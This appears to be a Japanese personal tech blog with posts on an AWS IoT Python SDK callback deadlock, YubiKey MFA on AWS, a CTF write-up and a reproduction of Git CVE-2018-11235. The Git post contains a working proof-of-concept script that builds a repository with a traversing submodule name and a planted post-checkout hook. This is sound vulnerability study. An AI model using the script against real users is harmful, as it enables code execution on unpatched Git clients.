Shadow response topics will be subscribed to receive responses from AWS IoT regarding the result of the get operation. 
Retrieved shadow JSON document will be available in the registered callback. 
If no response is received within the provided timeout, a timeout notification will be passed into the registered callback.

shadowGetではAWS IoTのトピックにパブリッシュとサブスクライブすることで値を取得していることがわかります。 MQTT経由でDevice Shadowの値を取得する方法は AWS側で用意されているトピックを利用します。 AWS側が用意しているトピックについては、詳細についてはドキュメントに記載されています。

docs.aws.amazon.com

今回の場合は $aws/things/test1_Core/shadow/get のトピックにパブリッシュすることで、 $aws/things/test1_Core/shadow/get/accepted$aws/things/test1_Core/shadow/get/rejected のトピックに値が流れてきます。

AWS ConsoleでMQTTのテストツールを使うことで、AWS IoTへのトピックのパブリッシュとサブスクライブを確認することができます。

以下の動画では、$aws/things/test1_Core/shadow/get/acceptedというトピックをサブスクライブした状態で $aws/things/test1_Core/shadow/get というトピックにパブリッシュをしています。 重要なことなのでもう一度書きますが、$aws/things/test1_Core/shadow/get/acceptedというトピックをまずサブスクライブした後に、$aws/things/test1_Core/shadow/get というトピックにパブリッシュをしています。この順番は大事で、後ほども触れます。 サブスクライブした状態でパブリッシュすると値は取得できますが、パブリッシュした後にサブスクライブしても値は取得することはできません。

$aws/things/test1_Core/shadow/get にパブリッシュした後に $aws/things/test1_Core/shadow/get/accepted に値がながれてきていることがわかります。

f:id:otameshi61:20210301193550g:plain
MQTT経由でdevice shadowを取得する

補足ですが、shadowGetの第二引数のsrcTimeoutは、$aws/things/test1_Core/shadow/get にトピックを発行して $aws/things/test1_Core/shadow/get/accepted が取得できるまでのタイムアウトです。この場合のタイムアウトでは、タイムアウトが起きたことを伝える情報を伴ってcallbackが呼ばれるため subscribeTimeoutException は発生しないので、今回調査しているタイムアウトとは関係ありません。

shadowGetでは、AWS IoTのトピックにパブリッシュとサブスクライブをすることでDevice Shadowの値を取得していることがわかりました。

調査3. shadowGetの実装について

shadowGetの実装をみてみます。 抜粋すると以下のような実装になっています。

    def shadowGet(self, srcCallback, srcTimeout):
        # (省略)

        # Two subscriptions
        if not self._isPersistentSubscribe or not self._isGetSubscribed:
            self._shadowManagerHandler.basicShadowSubscribe(self._shadowName, "get", self.generalCallback)
            self._isGetSubscribed = True
            self._logger.info("Subscribed to get accepted/rejected topics for deviceShadow: " + self._shadowName)
        # One publish
        self._shadowManagerHandler.basicShadowPublish(self._shadowName, "get", currentPayload)

        # (省略)

関数の実装をすべてみたい場合はソースをご確認ください。 github.com

コメントに「Two subscriptions」と「One publish」と書かれています。「 調査2. shadowGetについて」で確認した $aws/things/test1_Core/shadow/get/accepted$aws/things/test1_Core/shadow/get/rejected のサブスクライブと $aws/things/test1_Core/shadow/get のトピックにパブリッシュすることでDevice Shadowの値を取得していることと合致していることがわかります。

実装で気になる点としては、サブスクライブする時に not self._isPersistentSubscribe or not self._isGetSubscribed の条件が真の場合のみ実行されています。サブスクライブを永続化するオプションでクライアントを生成し、一度shadowGetを行うと最初の実行時のみサブスクライブがされ、以降では使いまわしているようです。

コードをみても調査2のAWS IoTのトピックにパブリッシュとサブスクライブをすることでDevice Shadowの値を取得しているということが確認できました。

調査4. subscribeTimeoutExceptionの例外を上げている箇所について

次にPythonのTracebackをみていきます。

Traceback (most recent call last):
  File "/Users/saso/.pyenv/versions/3.7.5/lib/python3.7/threading.py", line 926, in _bootstrap_inner
    self.run()
  File "/Users/saso/.pyenv/versions/3.7.5/lib/python3.7/threading.py", line 870, in run
    self._target(*self._args, **self._kwargs)
  File "/Users/saso/.pyenv/versions/3.7.5/lib/python3.7/site-packages/AWSIoTPythonSDK/core/protocol/internal/workers.py", line 147, in _dispatch
    self._dispatch_one()
  File "/Users/saso/.pyenv/versions/3.7.5/lib/python3.7/site-packages/AWSIoTPythonSDK/core/protocol/internal/workers.py", line 154, in _dispatch_one
    self._dispatch_methods[event_type](mid, data)
  File "/Users/saso/.pyenv/versions/3.7.5/lib/python3.7/site-packages/AWSIoTPythonSDK/core/protocol/internal/workers.py", line 237, in _dispatch_message
    message_callback(None, None, message)  # message_callback(client, userdata, message)
  File "fail_shadowGet.py", line 47, in subscribe_callback
    shadow_handler.shadowGet(srcCallback=shadowGet_callback, srcTimeout=10)
  File "/Users/saso/.pyenv/versions/3.7.5/lib/python3.7/site-packages/AWSIoTPythonSDK/core/shadow/deviceShadow.py", line 243, in shadowGet
    self._shadowManagerHandler.basicShadowSubscribe(self._shadowName, "get", self.generalCallback)
  File "/Users/saso/.pyenv/versions/3.7.5/lib/python3.7/site-packages/AWSIoTPythonSDK/core/shadow/shadowManager.py", line 70, in basicShadowSubscribe
    self._mqttCoreHandler.subscribe(currentShadowAction.getTopicAccept(), 0, srcCallback)
  File "/Users/saso/.pyenv/versions/3.7.5/lib/python3.7/site-packages/AWSIoTPythonSDK/core/protocol/mqtt_core.py", line 306, in subscribe
    raise subscribeTimeoutException()
AWSIoTPythonSDK.exception.AWSIoTExceptions.subscribeTimeoutException

以下の部分から「調査3. shadowGetの実装について」でみたshadowGet関数の中のサブスクライブをしようとしている箇所で例外があがっていることがわかります。

  File "/Users/saso/.pyenv/versions/3.7.5/lib/python3.7/site-packages/AWSIoTPythonSDK/core/shadow/deviceShadow.py", line 243, in shadowGet
    self._shadowManagerHandler.basicShadowSubscribe(self._shadowName, "get", self.generalCallback)

実際に例外があげられているのはAWSIoTPythonSDK/core/protocol/mqtt_core.py の中のsubscribe関数の中となっています。

さて、ドキュメントの関数一覧をみてみると、AWSIoTPythonSDKでは、subscribesubscribeAsync の二通りのサブスクライブするインターフェイスが提供されていることがわかります。名前からある程度察することができますが、AWSIoTPythonではサブスクライブする時に同期的行うか、非同期的に行うかを選ぶことができます。

同期的なsubscribe関数では、関数の実行が完了した時にサブスクライブしていることが保証されますが、非同期的なsubscribeAsync関数ではサブスクライブしていることは保証されていません。

調査2と調査3で確認した通り、shadowGetではまずはトピックをサブスクライブした後に、パブリッシュをして値を取得しています。そのため、サブスクライブが完了していることが保証されるsubscribe関数を使用する必要があります。

getShadowは、トピックのサブスクライブをする時に、特にsbscribe関数を使っているということがわかります。

s3.amazonaws.com

調査5. READMEに記載されている同期的な呼び出しと非同期的な呼び出しについて

さて、次はREADMEに記載されている「Synchronous APIs and Asynchronous APIs」という部分をみてみます。

Synchronous APIs and Asynchronous APIs
Beginning with Release v1.2.0, SDK provides asynchronous APIs and enforces synchronous API behaviors for MQTT operations, which includes: - connect/connectAsync - disconnect/disconnectAsync - publish/publishAsync - subscribe/subscribeAsync - unsubscribe/unsubscribeAsync

github.com

関数の一覧の中には subscribe/subscirbeAsync などサブスクライブに関して同期的なAPIと非同期的なAPIがあることが示されています。

もう少し読み進めると、以下のような説明があります。

Since callbacks are sequentially dispatched and invoked, calling synchronous APIs within callbacks will deadlock the user application. 
If users are inclined to utilize the asynchronous mode and perform MQTT operations within callbacks, asynchronous APIs should be used. 

DeepLでの翻訳も載せておきます。

コールバックは順次ディスパッチされて呼び出されるので、コールバック内で同期APIを呼び出すと、ユーザアプリケーションはデッドロックしてしまいます。
ユーザーが非同期モードを利用してコールバック内でMQTT操作を行いたい場合は、非同期APIを使用する必要があります。

callback内で同期的なAPI呼び出しするとデッドロックを引き起こすため、非同期的なAPIを呼び出すように注意されています。

ここで、わざとcallback内で同期的なAPIを呼び出してみた場合の挙動を確認してみます。

def main():
    CLIENT_ID = "test1_Core"
    client = create_mqtt_connection(client_id=CLIENT_ID)
    shadow_handler = AWSIoTMQTTShadowClient(
        clientID=CLIENT_ID, awsIoTMQTTClient=client
    ).createShadowHandlerWithName(shadowName=CLIENT_ID, isPersistentSubscribe=True)

    def subscribe_callback(_client, _userdata, message):
        print(f"Received a new message: {message.payload.decode('utf-8')}")
        def subscribe_callback2(_client, _userdata, message):
            print("subscribe_callback2 is called")

        client.subscribe(topic="hello/world2", QoS=1, callback=subscribe_callback2)

    client.subscribe(topic="hello/world", QoS=1, callback=subscribe_callback)

    while True:
        time.sleep(5)


if __name__ =

実行してみると、この場合でもsubscribeTimeoutExceptionがでることがわかりました。

> python fail_shadowGet2.py
Received a new message: {
  "message": "Hello from AWS IoT console"
}
Subscribe timed out
Exception in thread Thread-1:
Traceback (most recent call last):
  File "/Users/saso/.pyenv/versions/3.7.5/lib/python3.7/threading.py", line 926, in _bootstrap_inner
    self.run()
  File "/Users/saso/.pyenv/versions/3.7.5/lib/python3.7/threading.py", line 870, in run
    self._target(*self._args, **self._kwargs)
  File "/Users/saso/.pyenv/versions/3.7.5/lib/python3.7/site-packages/AWSIoTPythonSDK/core/protocol/internal/workers.py", line 147, in _dispatch
    self._dispatch_one()
  File "/Users/saso/.pyenv/versions/3.7.5/lib/python3.7/site-packages/AWSIoTPythonSDK/core/protocol/internal/workers.py", line 154, in _dispatch_one
    self._dispatch_methods[event_type](mid, data)
  File "/Users/saso/.pyenv/versions/3.7.5/lib/python3.7/site-packages/AWSIoTPythonSDK/core/protocol/internal/workers.py", line 237, in _dispatch_message
    message_callback(None, None, message)  # message_callback(client, userdata, message)
  File "fail_shadowGet2.py", line 54, in subscribe_callback
    client.subscribe(topic="hello/world2", QoS=1, callback=subscribe_callback2)
  File "/Users/saso/.pyenv/versions/3.7.5/lib/python3.7/site-packages/AWSIoTPythonSDK/MQTTLib.py", line 696, in subscribe
    return self._mqtt_core.subscribe(topic, QoS, callback)
  File "/Users/saso/.pyenv/versions/3.7.5/lib/python3.7/site-packages/AWSIoTPythonSDK/core/protocol/mqtt_core.py", line 306, in subscribe
    raise subscribeTimeoutException()
AWSIoTPythonSDK.exception.AWSIoTExceptions.subscribeTimeoutException

callback内で同期的なAPIを呼び出すとsubscribeTimeoutExceptionの例外があがることがわかりました。

調査でわかったことの整理とまとめ

ここまでにわかったことをまとめると以下のようになります。

  • 調査2~4
    • shadowGetは2つのトピックを同期的なAPIのsubscribeを使ってサブスクライブする
  • 調査5
    • callback内で同期的なAPIを使用するとsubscribeTimeoutExceptionが発生する

したがって、今回起きていた問題の原因は、callback内で同期的なAPIのsubscribeを実行するshadowGetを実行してしまうことで、subscribeTimeoutException が発生してしまっていた、ということが原因を特定することができました。めでたし、めでたし。

対応策

いくつか考えられる対応策について説明します。

対応策1. callback前にsubscribeをすませておく

「調査3. shadowGetの実装について」で見たように、shadowGetではサブスクライブするかどうかの条件があります。接続を永続化する設定かつ、すでにサブスクライブ済みであれば、同期的なサブスクライブは行われません。

    def shadowGet(self, srcCallback, srcTimeout):
        # (省略)

        # Two subscriptions
        if not self._isPersistentSubscribe or not self._isGetSubscribed:
            self._shadowManagerHandler.basicShadowSubscribe(self._shadowName, "get", self.generalCallback)
            self._isGetSubscribed = True
            self._logger.info("Subscribed to get accepted/rejected topics for deviceShadow: " + self._shadowName)
        # One publish
        self._shadowManagerHandler.basicShadowPublish(self._shadowName, "get", currentPayload)

        # (省略)

よって、callback外で一度shadowGetを呼ぶことで、それ以降のshadowGetでは同期的なサブスクライブを避けることができます。

def shadowGet_callback(payload: str, response_status: str, token: str):
    print(f"shadow: {json.loads(payload)}")


def main():
    CLIENT_ID = "test1_Core"
    client = create_mqtt_connection(client_id=CLIENT_ID)
    shadow_handler = build_shadow_handler(client_id=CLIENT_ID, client=client)

    def subscribe_callback(client, userdata, message):
        print(f"Received a new message: {message.payload.decode('utf-8')}")
        shadow_handler.shadowGet(srcCallback=shadowGet_callback, srcTimeout=10)

    # 追加:subscribeをする前にshadowGetを実行する
    shadow_handler.shadowGet(srcCallback=shadowGet_callback, srcTimeout=10)

    client.subscribe(topic="hello/world", QoS=1, callback=subscribe_callback)

    while True:
        time.sleep(5)


if __name__ == "__main__":
    main()

対応策2. subscribeとshadowの取得のMQTTの接続を分ける

同じMQTTの接続の場合にデッドロックが発生してしまうためサブスクライブするMQTTの接続とcallback中に実行するMQTTの接続を分けることで、デッドロックを回避することが可能です。

def shadowGet_callback(payload: str, response_status: str, token: str):
    print(f"shadow: {json.loads(payload)}")


def main():
    client = create_mqtt_connection(client_id="test1_Core")
    shadow_client = create_mqtt_connection(client_id="test1_Core_shadow")
    shadow_handler = AWSIoTMQTTShadowClient(
        clientID="shadow_client", awsIoTMQTTClient=shadow_client
    ).createShadowHandlerWithName(shadowName=CLIENT_ID, isPersistentSubscribe=True)

    def subscribe_callback(client, userdata, message):
        print(f"Received a new message: {message.payload.decode('utf-8')}")
        shadow_handler.shadowGet(srcCallback=shadowGet_callback, srcTimeout=10)

    client.subscribe(topic="hello/world", QoS=1, callback=subscribe_callback)

    while True:
        time.sleep(5)


if __name__ == "__main__":
    main()

対応策3. boto3を使用してshadowの取得をする

こちらは未確認ですが、DeviceShadowはboto3経由でも取得することが可能なので、boto3を使えばMQTTのデッドロックは回避することは可能かと思います。

boto3.amazonaws.com

boto3のトークンにはAWS Security Token Serviceを使えばGreengrassの証明書から作れそうですが、こちらも未確認です。

docs.aws.amazon.com

感想

今回の問題は、READMEに目を通しておいてAWSIoTPythonの仕様を把握しており、shadowGetに同期的なsubscribeが行われているだろうという推理力があればある程度原因の特定まではできたのかもしれないなとは感じました。普段は便利すぎて、あまり内部実装に関心をもてていなかったですが、もう少し自分の使っているSDKやライブラリに関心を持たないといけないなぁと反省しました。

また、例外のクラス名でGoogle検索や、Githubでopenなissueがないかは探していたのですが、closeされたissueにcallback中に同期的なAPIを呼び出すケースで困っている人がいたようです。例外が上がるのが仕様の場合には、issueはcloseされるものかと思うので、closeされたissueも確認した方が良いということ学びました。

github.com

おまけ - デッドロックが起きるフロー

おまけで、callback内で同期的なsubscribeの関数を呼ぶとデッドロックが起きるフローについて挙動をおってみます。

subscribe関数の実装

subscribe関数をまずみていきます。

    def subscribe(self, topic, qos, message_callback=None):
        self._logger.info("Performing sync subscribe...")
        ret = False
        if ClientStatus.STABLE != self._client_status.get_status():
            self._handle_offline_request(RequestTypes.SUBSCRIBE, (topic, qos, message_callback, None))
        else:
            event = Event()
            rc, mid = self._subscribe_async(topic, qos, self._create_blocking_ack_callback(event), message_callback)
            if not event.wait(self._operation_timeout_sec):
                self._internal_async_client.remove_event_callback(mid)
                self._logger.error("Subscribe timed out")
                raise subscribeTimeoutException()
            ret = True
        return ret

github.com

eventという変数について注目してみます。

            event = Event()
            rc, mid = self._subscribe_async(topic, qos, self._create_blocking_ack_callback(event), message_callback)
            if not event.wait(self._operation_timeout_sec):

Eventはpythonの標準のthreading.Eventです。 self._create_blocking_ack_callback(event)event.wait(self._operation_timeout_sec) でeventを参照していることがわかります。

_create_blocking_ack_callbackは以下のような実装になっています。

    def _create_blocking_ack_callback(self, event):
        def ack_callback(mid, data=None):
            event.set()
        return ack_callback

github.com

event.set()を呼ぶだけの関数が渡されていることがわかります。

その次の event.wait(self._operation_timeout_sec) は、event.set()が呼ばれるまで待機するというコードです。

pythonのthreading.Eventについては、以下のブログがわかりやすくまとまっているのでおすすめです。

qiita.com

ここまでをまとめると、subscribe関数は、サブスクライブが完了した時に呼ばれるcallback関数でevent.set()を実行し、subscribe関数内ではevent.wait()でcallback関数が呼ばれるのを待機しています。subscribe関数が正常に完了した時には、サブスクライブされていることが保証されています。

MQTTのやりとりの実装について

さらに細かい話を進めていきます。 AWSIoTPythonでは、MQTTのクライアントにはPaho MQTT Python clientが使われています。

www.eclipse.org

このライブラリではMQTTで接続した時(on_connect)やサブスクライブが完了した時(on_subscribe)やメッセージを受け取った時(on_message)にcallback関数を設定することができます。

callback関数はEventProducerクラスに纏まっています。

class EventProducer(object):

    def __init__(self, cv, event_queue):
        self._cv = cv
        self._event_queue = event_queue

    # 略

    def on_subscribe(self, client, user_data, mid, granted_qos):
        self._add_to_queue(mid, EventTypes.SUBACK, granted_qos)
        self._logger.debug("Produced [suback] event")

    # 略

    def _add_to_queue(self, mid, event_type, data):
        with self._cv:
            self._event_queue.put((mid, event_type, data))
            self._cv.notify()

EventProducerクラスでは、MQTTで何かしらデータを受け取ったら_add_to_queue関数で _event_queue に追加をしているだけで、実際の処理を行うのは他のクラスになります。 _cv という変数には、pythonのthreading.Conditionのオブジェクトが渡されていて、with self._cvself._cv.notify() という使われ方をされています。今回デッドロックを引き起こしているのはまさにこの _cv 変数の部分なのですが、これを参照しているもう一か所のところを触れてから説明します。

省略した部分以外も確認したい場合はソースをみてください。 github.com

実際にpahoのmqttクライアントにEventProducerの関数が登録されているところは、MqttCoreクラスのコンストラクタの_init_worlersあたりの処理を追うとわかるかと思います。

github.com

MQTTを受け取った後の処理について

EventProducerが _event_queue に追加したeventを処理するのは EventConsumerクラスとなっています。

class EventConsumer(object):

    def __init__(self, cv, event_queue, internal_async_client,
                 subscription_manager, offline_requests_manager, client_status):
        self._cv = cv
        # 略

    def start(self):
        #略
        dispatch_events = Thread(target=self._dispatch)
        #略

    def _dispatch(self):
        while self._is_running:
            with self._cv:
                if self._event_queue.empty():
                    self._cv.wait(self.MAX_DISPATCH_INTERNAL_SEC)
                else:
                    while not self._event_queue.empty():
                        self._dispatch_one()
      # 略

EventConsumerで今回の問題に関係するところだけを抜き出しています。 コンストラクタで渡されている cv はEventProducerと同じオブジェクトが渡されていて、共有しています。

_event_queue 経由で渡されるイベントを処理しているのは、 dispatch関数となります。 dispatch関数では with self._cvself._cv.wait_cv を参照しています。

EventConsumerクラスのソースは以下です。

github.com

Pythonのthreading.Conditionについて

threading.Condition は、条件付きのロックでwith文で囲まれたブロック内でロックを獲得することができます。threading.Conditionの面白い(?)ところとしては、wait関数を呼ぶことでConditionオブジェクトのロックを開放して、別のスレッドにConditionオブジェクトでロックをかけて処理をさせることができるようにできます。wait関数はConditionオブジェクトのnotify関数を呼ぶことで再度処理を進めることができます。

docs.python.org

今回のEventConsumer._dispatchではeventキューが空の場合には self._cv.wait(self.MAX_DISPATCH_INTERNAL_SEC) でロックを開放しておきますが、eventを処理している最中にはロックをかけていることがわかります。

    def _dispatch(self):
        while self._is_running:
            with self._cv:
                if self._event_queue.empty():
                    self._cv.wait(self.MAX_DISPATCH_INTERNAL_SEC)
                else:
                    while not self._event_queue.empty():
                        self._dispatch_one()

EventProducerクラスのeventキューに追加しているところをもう一度みてみると、ロックがかかっている間は、MQTTからデータを受け取った後にeventキューに追加することはできません。

    def _add_to_queue(self, mid, event_type, data):
        with self._cv:
            self._event_queue.put((mid, event_type, data))
            self._cv.notify()

したがって、 _dispatch の処理中に新しくMQTTで受け取ったデータは、 _dispatch が完了するまで取得することができません。

同期的なsubscribeでは、MQTTでサブスクライブが完了したデータ(on_subscribe)を受け取って、dispatch内でcallbackの実行(event.set())を呼ぶことを期待しています。ただし、subscribeのcallback内(dispatch関数で _cv にロックをかけた状態)で同期的なsubscribeの関数を呼ぶと、EventProducerがon_subscribeでeventキューに新しく追加しようとしても _cv のロックがかかっているためロックの開放をまってしまいます。subscribeのcallbackも、event.set()が呼ばれるまで _cv を解放できないという状態になってしまうため、デッドロックが生じてしまっているということがわかりました。

おまけの感想

非同期的な処理がはいると、処理を追うのがかなり大変でした。実際、今回例外が上がる箇所から、どこでデッドロックが起きているかの特定は、ブログを書き始めた後の最後の方でやっと特定できた感じでした。 ただ、SDK内でもログレベルをDEBUGにするといろいろログをはいてくれるのでかなり助かりました。

pythonのthreading周りのドキュメントは何度か読んだことはあるはずなのですが、threading.Conditionはすっかり忘れていたので、具体的なユースケースを目にすることができたのはとてもよかったなぁと感じました。

AWS ConsoleのMFAにYubikeyを使えるようになったので雑に調べた

Twitterを眺めていたら以下の記事を見かけました。

Sign in to your AWS Management Console with YubiKey Security Key for Multi-factor Authentication (MFA)

AWSのコンソールのログインにYubikeyをMFAとして使用できるようになったようです。

サクッとどんなものか見てみました。

IAMのユーザ画面

MFAを有効にしたいアカウントの管理画面です。

f:id:otameshi61:20180926100048p:plain

MFA デバイスの管理

MFAデバイスの割り当ての管理を押すと、U2Fセキュリティキーで、Yubikeyが選択できそうなことがわかります。

f:id:otameshi61:20180926100210p:plain

Yubikeyの登録

続行を押すと、以下の画面が表示されます。Yubikeyをタップすると、Chromeに許可するか確認され、許可をすると情報が送信されます。これで登録は完了です。簡単!

f:id:otameshi61:20180926100455p:plain

ログイン

IDとパスワードを入力後に以下の画面に遷移してタップを求められるようになりました。タップすれば入れます。

f:id:otameshi61:20180926101143p:plain

以下、気になったことです。

気になったこと: 登録できるデバイス数は?

ひとつのIAMアカウントに対して登録できるMFAデバイスは1つなので、バックアップ用などに複数Yubikeyを持ってる場合は、それごとにIAMアカウントを作成して登録する必要がありそうです。

気になったこと: Yubikey以外のU2F対応デバイスは使えるのか?

U2Fは公開されたプロトコルで、U2Fを実装しているデバイスはいろいろあります。最近、Googleが出したTitan Security Keysなどもその一つです。

手元にあった飛天の出してるデバイスとU2F ZEROというデバイスで登録を試してみましたが、登録時に、

{"errors":[{"message":"Attestation Certificate is not valid. ","code":"U2fDeviceUnauthorizedException","httpStatus":401,"__type__":"ErrorMessage"}]}

とのことで証明書エラーが返されて使用できませんでした。使えるメーカーを限定してるのはちょっと残念です。

気になったこと: AWS CLIからでも使えるのか?

サポートページをみる感じだと今のところ使えないようです。コマンドラインからU2F使うのはいろいろ工夫がいりそうな印象を持っているので今後もあまり期待できないかもです。

docs.aws.amazon.com

所感

記事のタイトルからして、U2Fに対応したんだろうな、ということは何となく予想できましたが、Yubikeyに限定したタイトルなのはどういうことだろうと思い情報を追ってみました。限定している点はちょっと残念ですが、個人的にはYubikeyを持っているのでMFAが使いやすくなって良かったです。

CyberRebeatCTFに参加した

2018/9/8 ~ 9/9 で開催されていたCyberRebetCTFにソロで参加していて完走できました。

ennach.sakura.ne.jp

結果は全問とけたので1/147位でした。他にも10数チーム全完していて、解けた順番的には結構後ろの方だった気がします。

よくわからないチーム名で登録していましたが、自分でもなんでこのチーム名にしたのかはわかりません。疲れてたんだと思います。

f:id:otameshi61:20180909144804p:plain

f:id:otameshi61:20180909144953p:plain ※ 問題の得点が変動するのでタイミング的に写真の得点がずれてますね

個人的に特に楽しめた問題を二つ紹介します。

Last 5 boxes

The FLAG is hiding at the last 5 boxes.

https://cyberrebeat.adctf.online/static/a4e796eabf01249f6eb8d565ee66849a5bacb472d4ea8adcc6b4dda8f97d318c.mp4

Steganoのジャンルでmp4ファイルが渡される問題。exiftoolとかで情報をみても特に目ぼしい情報はありませんでした。問題文のboxっていうのがmp4の構造を示す言葉かなと思い「mp4 box」でぐぐると以下のブログがヒット。

qiita.com

MP4Box -std -diso  a4e796eabf01249f6eb8d565ee66849a5bacb472d4ea8adcc6b4dda8f97d318c.mp4

で以下がわかるので、抜き出して、繋げたらpngになった。

<UUIDBox Size="1024" Type="uuid" UUID="{18E66A6B-FBDF0D41-80DF83B8-E1CE2B59}" Specification="unknown" Container="unknown" ></UUIDBox>
<UUIDBox Size="1024" Type="uuid" UUID="{07B14494-B8E2AF4D-9BD6652B-52052AC6}" Specification="unknown" Container="unknown" ></UUIDBox>
<UUIDBox Size="1024" Type="uuid" UUID="{14C6D472-C69F4846-ACD23749-2ED79CB9}" Specification="unknown" Container="unknown" ></UUIDBox>
<UUIDBox Size="1024" Type="uuid" UUID="{792E16CC-B4887445-AC310002-334FD627}" Specification="unknown" Container="unknown" ></UUIDBox>
<UUIDBox Size="1612" Type="uuid" UUID="{C386DEC1-144E214D-9BBE788C-4474F39F}" Specification="unknown" Container="unknown" ></UUIDBox>
from binascii import unhexlify

def read_until(f, delim='\n'):
    data = b''
    while not data.endswith(delim):
        data += f.read(1)
    return data

uuids = [
    ('18E66A6BFBDF0D4180DF83B8E1CE2B59', 1024),
    ('07B14494B8E2AF4D9BD6652B52052AC6', 1024),
    ('14C6D472C69F4846ACD237492ED79CB9', 1024),
    ('792E16CCB4887445AC310002334FD627', 1024),
    ('C386DEC1144E214D9BBE788C4474F39F', 1612)
]

for uuid, size in uuids:
    # split -b 4m  a4e796eabf01249f6eb8d565ee66849a5bacb472d4ea8adcc6b4dda8f97d318c.mp4 video.mp4-
    with open('video.mp4-af', 'rb') as fp:
        _ = read_until(fp, unhexlify(uuid))
        s = fp.read(size - 24)
        with open(uuid, 'wb') as f:
            f.write(s)
cat 18E66A6BFBDF0D4180DF83B8E1CE2B59 07B14494B8E2AF4D9BD6652B52052AC6 14C6D472C69F4846ACD237492ED79CB9 792E16CCB4887445AC310002334FD627 C386DEC1144E214D9BBE788C4474F39F  > flag.png

以下の画像ができる。

f:id:otameshi61:20180909151641p:plain

MP4の構造を知れたので勉強になった。

Opening Movie

http://blazor.cyberrebeat.adctf.online

以下のタグで読み込まれるWebAssemblyを解析する問題。

 <script src="_framework/blazor.js" main="MoviePlayer.dll" entrypoint="MoviePlayer.Program::Main" references="Microsoft.AspNetCore.Blazor.Browser.dll,Microsoft.AspNetCore.Blazor.dll,Microsoft.Extensions.DependencyInjection.Abstractions.dll,Microsoft.Extensions.DependencyInjection.dll,mscorlib.dll,netstandard.dll,System.Core.dll,System.dll,System.Net.Http.dll" linker-enabled="true"></script>

MoviePlayer.dllを落としてきて、ilspyでデコンパイルして調べるとフラグの置いてあるURLがわかる問題でした。WebAssemblyは触ったことなかったので良い経験になりました。

普段はMacを使っていますが、以下の記事を参考にしたら、簡単にilspyを用意できたので良かった(なんか昔はもう少し準備が面倒だった気がする)。

qiita.com

感想

いろいろな問題があって楽しめました。公式サイトのイラストがめっちゃ良かったのと、Signatureの問題文の†真・聖天使猫姫†さんがめっちゃよかったと思います。

Gitの脆弱性(CVE-2018-11235)を雑に調べた

先日、Gitの脆弱性(CVE-2018-11235)が発表されました。

NVDのDescriptionには以下のように説明されています。

NVD - CVE-2018-11235

In Git before 2.13.7, 2.14.x before 2.14.4, 2.15.x before 2.15.2, 2.16.x before 2.16.4, and 2.17.x before 2.17.1, remote code execution can occur. With a crafted .gitmodules file, a malicious project can execute an arbitrary script on a machine that runs "git clone --recurse-submodules" because submodule "names" are obtained from this file, and then appended to $GIT_DIR/modules, leading to directory traversal with "../" in a name. Finally, post-checkout hooks from a submodule are executed, bypassing the intended design in which hooks are not obtained from a remote server.

細工された.gitmoduleのあるプロジェクトをgit clone --recurse-submodulesすると、攻撃者が用意した任意のスクリプトの実行につながるとのこと。サブモジュールの名前は、.gitmoduleから取得され、名前に../使うことでディレクトリトラバーサルをすることができ、攻撃者の用意したpost-checkoutのhookが実行されてしまうようです。

この脆弱性のGitの修正コミットは以下にあります。

github.com

Credit for finding this vulnerability and the proof of concept from which the test script was adapted goes to Etienne Stalmans.

コメントにもありますが、修正コミットのテストコードにPoCが含まれています。

テストコードのPoCを参考に自分の環境で脆弱性の再現を行いました。

git/t7415-submodule-names.sh at 0383bbb9015898cbc79abd7b64316484d7713b44 · git/git · GitHub

環境

実行環境とGitのバージョンとか。

$ uname -a
Darwin MacMini 17.5.0 Darwin Kernel Version 17.5.0: Fri Apr 13 19:32:32 PDT 2018; root:xnu-4570.51.2~1/RELEASE_X86_64 x86_64
$ sw_vers -productVersion
10.13.4
$ git --version
git version 2.14.3 (Apple Git-98)

脆弱性の有無の確認方法

submodule名に../が含まれる際に弾かれるかどうかで確認可能です。

脆弱性あり

$ git --version
git version 2.14.3 (Apple Git-98)
$ git submodule add --name ../../modules/evil https://otameshi61@bitbucket.org/otameshi61/cve-2018-11235.git evil
Cloning into '/Users/saso/tmp/bbb/fuga/test/fuga/evil'...
remote: Counting objects: 46, done.
remote: Compressing objects: 100% (33/33), done.
remote: Total 46 (delta 1), reused 0 (delta 0)
Unpacking objects: 100% (46/46), done.

脆弱性対応済み

$ git --version
git version 2.17.1
$ git submodule add --name ../../modules/evil https://otameshi61@bitbucket.org/otameshi61/cve-2018-11235.git evil
'../../modules/evil' is not a valid submodule name

もっと手軽に、これでエラーが出るかどうかでも確かめることができるそうです(エラーが出れば対策済み)。

git init test && \
  cd test && \
  git update-index --add --cacheinfo 120000,e69de29bb2d1d6434b8b29ae775ad8c2e48c5391,.gitmodules

Edward Thomson: Upgrading git for the May 2018 Security Release

悪意あるレポジトリの作成

悪意あるレポジトリは以下のようなshell scriptで作成可能です。

CVE-2018-11235.sh

#!/bin/sh

# 悪意あるsubmoduleを含んだレポジトリ用のディレクトリを作成する
mkdir evil_repo
cd evil_repo
git init

# ここで追加するのは別になんでも良い
git submodule add https://github.com/otms61/innocent.git evil

# 正常な.git/modules/evilから攻撃コードを置く用の./modules/evilを用意する
mkdir modules
cp -r .git/modules/evil modules

# hookにセットするスクリプトを用意する
echo '#!/bin/sh' > modules/evil/hooks/post-checkout
echo 'echo >&2 "RUNNING POST CHECKOUT"' >> modules/evil/hooks/post-checkout
chmod +x modules/evil/hooks/post-checkout

git add modules
git commit -am evil

# もとのPoCで設定されてたがよくわかっていない。。なくてもとりあえず動く。
git config -f .gitmodules submodule.evil.update checkout

# submoduleの名前をevilから ../../modules/evilに変更する
git config -f .gitmodules --rename-section submodule.evil submodule.../../modules/evil

# .git/moduleの下に何かないとcheckoutに失敗するので、普通のやつも用意してあげる
git submodule add https://github.com/otms61/innocent.git another-module
git add another-module
git commit -am another

git add .gitmodules
git commit -am .gitmodule

簡単にですがsubmoduleの設定とhookのスクリプトについて説明を補足します。

submodule名を../../modules/evilにする

雑にコメントを書きましたが、

git config -f .gitmodules --rename-section submodule.evil submodule.../../modules/evil

で、submodule 名をevilから../../modules/evilに変更しています。

git config [<file-option>] --rename-section old_name new_name

. が3連続で、ちょっとわかりにくいですが、nameの形式がsubmodule.<module名>のせいです。

.gitmoduleはこのようになっています。

$ cat evil_repo/.gitmodules
[submodule "../../modules/evil"]
    path = evil
    url = https://github.com/otms61/innocent.git
    update = checkout
[submodule "another-module"]
    path = another-module
    url = https://github.com/otms61/innocent.git

hookのスクリプトを用意する

hookのスクリプトを探すロジックを正確に確認はできていないのですが、以下のような感じだと予想しています。 hookスクリプトを探す場合、

evil_repo/.git/modules/${submodule_name}/hooks/post-checkout

